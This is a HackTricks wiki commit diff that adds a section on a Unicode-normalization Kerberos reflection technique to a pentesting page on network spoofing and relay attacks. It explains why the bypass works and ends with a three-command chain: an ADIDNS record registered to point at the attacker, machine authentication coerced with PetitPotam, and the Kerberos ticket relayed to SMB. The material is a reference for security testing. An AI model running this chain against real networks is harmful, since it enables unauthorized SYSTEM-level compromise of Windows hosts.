Skip to content

Commit 2c5c666

Browse files
authored
Merge pull request #2187 from HackTricks-wiki/update_Bypassing_Windows_authentication_reflection_mitiga_20260430_135616
Bypassing Windows authentication reflection mitigations for ...
2 parents 65307b0 + cd8539d commit 2c5c666

1 file changed

Lines changed: 43 additions & 1 deletion

File tree

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

Lines changed: 43 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -253,6 +253,45 @@ For detailed info about this attack check:
253253
4. **Ticket source not already used:** you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
254254
5. You need to somehow be able to perform a **MitM in the communication** maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
255255

256+
### Unicode-normalization Kerberos reflection (2025-2026)
257+
258+
Synacktiv documented a **new Kerberos coercion/relay primitive** that bypassed the first SMB reflection mitigations by abusing **inconsistent Unicode normalization** across Windows DNS, Kerberos/SPN lookup, and SMB ticket acceptance.
259+
260+
- The attacker needs a way to **register AD-integrated DNS records** and **coerce machine authentication** (`PetitPotam`, DFSCoerce, etc.).
261+
- The crafted target name must be:
262+
- **Different enough** from the victim hostname/FQDN that `DnsCache` does **not** treat it as "self", so a DNS query is emitted.
263+
- **Equivalent enough** during DC-side SPN lookup that the TGS request resolves to the **real machine account SPN**.
264+
- This was achieved by combining:
265+
- a **Unicode hostname lookalike** such as replacing `R` in `SRV1` with a Unicode equivalent so `CompareStringW(..., NORM_IGNORECASE)` no longer returns equal on the client side
266+
- **Unicode dot equivalents** in the FQDN so the DC-side SPN search key still collides with the victim FQDN SPN set
267+
268+
Why it works:
269+
270+
- `DnsCache` self-name checks use `CompareStringW` with only **`NORM_IGNORECASE`**.
271+
- SPN lookups in AD ultimately depend on **ESE/NTDS search keys** derived from `LCMapStringEx(..., 0x31403)` (`LCMAP_SORTKEY`, `NORM_IGNORECASE`, `NORM_IGNOREKANATYPE`, `NORM_IGNORENONSPACE`, `NORM_IGNOREWIDTH`, `SORT_STRINGSORT`).
272+
- Therefore, two strings can be **different for client-side self-comparison** but still **collide during SPN lookup** on the DC.
273+
- SMB then accepts the relayed AP-REQ as long as the service ticket decrypts under the same machine account key and the local-auth checks are otherwise satisfied.
274+
275+
Practical constraints and workflow:
276+
277+
1. A pure hostname variant tends to fail because **LDAP/DNS uniqueness checks** can hit the same normalized collision and reject the record as already existing.
278+
2. The practical workaround is to register a **crafted FQDN** whose DNS label passes uniqueness checks but whose **constructed SPN** still collides with the victim machine SPNs.
279+
3. Coerce the victim to authenticate to that crafted name, receive the **Kerberos AP-REQ** on the relay box, and relay it to a service on the victim or another service bound to the same machine account.
280+
4. Some relay tooling may need a **small patch** to stop enforcing strict ASCII/hostname equality on the relayed target name because the ticket `sname` can contain Unicode.
281+
282+
Representative chain:
283+
284+
```bash
285+
# 1. Register crafted ADIDNS record pointing to attacker
286+
dnstool.py -u 'DOMAIN\\user' -p 'Passw0rd!' -r '<unicode-fqdn>' -d <attacker-ip> <dc>
287+
288+
# 2. Coerce machine auth to the crafted name
289+
PetitPotam.py -u user -p 'Passw0rd!' '<unicode-fqdn>' <victim-fqdn>
290+
291+
# 3. Relay the Kerberos AP-REQ
292+
krbrelayx.py -t smb://<victim-fqdn> -c whoami
293+
```
294+
256295
### Kerberos Relay Steps
257296

258297
- 3.1 **Recon the host**
@@ -351,6 +390,9 @@ You now own **NT AUTHORITY\SYSTEM**.
351390
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
352391
- [RelayKing v1.0](https://github.com/depthsecurity/RelayKing-Depth)
353392
- [Depth Security – Introducing RelayKing: Relay to Royalty](https://www.depthsecurity.com/blog/introducing-relayking-relay-to-royalty/)
393+
- [Synacktiv - Bypassing Windows authentication reflection mitigations for SYSTEM shells - Part 2](https://www.synacktiv.com/en/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part.html)
394+
- [Microsoft Learn - LCMapStringEx function](https://learn.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-lcmapstringex)
395+
- [Microsoft Learn - CompareStringW function](https://learn.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-comparestringw)
396+
- [Semperis - Exploiting Ghost SPNs and Kerberos Reflection for SMB Server Privilege Elevation](https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/)
354397

355398
{{#include ../../banners/hacktricks-training.md}}
356-

0 commit comments

Comments
 (0)